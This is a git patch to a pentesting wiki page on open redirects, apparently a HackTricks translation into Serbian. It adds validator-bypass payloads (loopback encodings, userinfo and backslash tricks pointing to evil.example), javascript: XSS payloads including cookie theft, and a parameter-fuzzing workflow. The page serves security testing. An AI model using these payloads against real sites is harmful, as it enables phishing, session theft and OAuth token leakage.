From ad8e14bcda2fad14d4d2b641468d44dea91580cd Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 15:28:18 +0000 Subject: [PATCH] Translated ['src/pentesting-web/open-redirect.md'] to sr --- src/pentesting-web/open-redirect.md | 123 ++++++++++++++++++++++++++-- 1 file changed, 115 insertions(+), 8 deletions(-) diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 159545e85..ea2289ed5 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -5,14 +5,25 @@ ## Open redirect -### Preusmeravanje na localhost ili proizvoljne domene +### Redirect to localhost or arbitrary domains +- If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target: +- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal) +- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1] +- Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1. +- Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1. +- Network-path references often bypass naive validators that prepend a scheme or only check prefixes: +- //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme. +- Userinfo tricks defeat contains/startswith checks against trusted hosts: +- https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld. +- Backslash parsing confusion between frameworks/browsers: +- https://trusted.tld\@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches. {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -### Open Redirect za XSS +### Modern open-redirect to XSS pivots ```bash #Basic payload, javascript code is executed after "javascript:" javascript:alert(1) @@ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);// ``` -## Open Redirect učitavanje svg datoteka +
+Još moderniji URL-based bypass payloads +```text +# Scheme-relative (current scheme is reused) +//evil.example + +# Credentials (userinfo) trick +https://trusted.example@evil.example/ + +# Backslash confusion (server validates, browser normalizes) +https://trusted.example\@evil.example/ + +# Schemeless with whitespace/control chars +evil.example%00 +%09//evil.example + +# Prefix/suffix matching flaws +https://trusted.example.evil.example/ +https://evil.example/trusted.example + +# When only path is accepted, try breaking absolute URL detection +/\\evil.example +/..//evil.example +``` + +``` +
+ +## Open Redirect uploading svg files + ```html @@ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg"> ``` -## Uobičajeni parametri za injekciju + +## Common injection parameters + ``` /{payload} ?next={payload} @@ -143,17 +185,23 @@ RedirectUrl=https://c1h2e1.github.io Redirect=https://c1h2e1.github.io ReturnUrl=https://c1h2e1.github.io ``` -## Primeri koda + +## Code examples #### .Net + ```bash response.redirect("~/mysafe-subdomain/login.aspx") ``` + #### Java + ```bash response.redirect("http://mysafedomain.com"); ``` + #### PHP + ```php ``` + +## Hunting and exploitation workflow (practical) + +- Single URL check with curl: + +```bash +curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:" +``` + +- Discover and fuzz likely parameters at scale: + +
+Click to expand + +```bash +# 1) Prikupi istorijske URL-ove, zadrži one sa common redirect params +cat domains.txt \ +| gau --o urls.txt # or: waybackurls / katana / hakrawler + +# 2) Grep common parameters and normalize list +rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \ +| sed 's/\r$//' | sort -u > candidates.txt + +# 3) Koristi OpenRedireX za fuzzing sa payload corpus +cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt + +# 4) Ručno verifikuj interesantne hits +awk '/30[1237]|Location:/I' results.txt +``` +``` +
+ +- Ne zaboravite client-side sinks u SPAs: tražite window.location/assign/replace i pomoćne funkcije frameworka koje čitaju query/hash i preusmeravaju. + +- Frameworks često uvode footguns kada su redirect destinacije izvedene iz nepouzdanog inputa (query params, Referer, cookies). Pogledajte Next.js napomene o redirects i izbegavajte dinamička odredišta izvedena iz korisničkog inputa. + +{{#ref}} +../network-services-pentesting/pentesting-web/nextjs.md +{{#endref}} + +- OAuth/OIDC flows: zloupotrebom open redirectors često dolazi do account takeover kroz leaking authorization codes/tokens. Pogledajte posvećen vodič: + +{{#ref}} +./oauth-to-account-takeover.md +{{#endref}} + +- Server responses that implement redirects without Location (meta refresh/JavaScript) are still exploitable for phishing and can sometimes be chained. Grep for: +```html + + +``` ## Alati - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) +- OpenRedireX – fuzzer za otkrivanje open redirects. Primer: +```bash +# Install +git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh -## Resursi +# Fuzz a list of candidate URLs (use FUZZ as placeholder) +cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50 +``` +## Izvori -- U [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) možete pronaći liste za fuzzing. +- Na https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect možete pronaći liste za fuzzing. - [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) - +- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection +- OpenRedireX – Fuzzer za otkrivanje open redirect ranjivosti: https://github.com/devanshbatham/OpenRedireX {{#include ../banners/hacktricks-training.md}}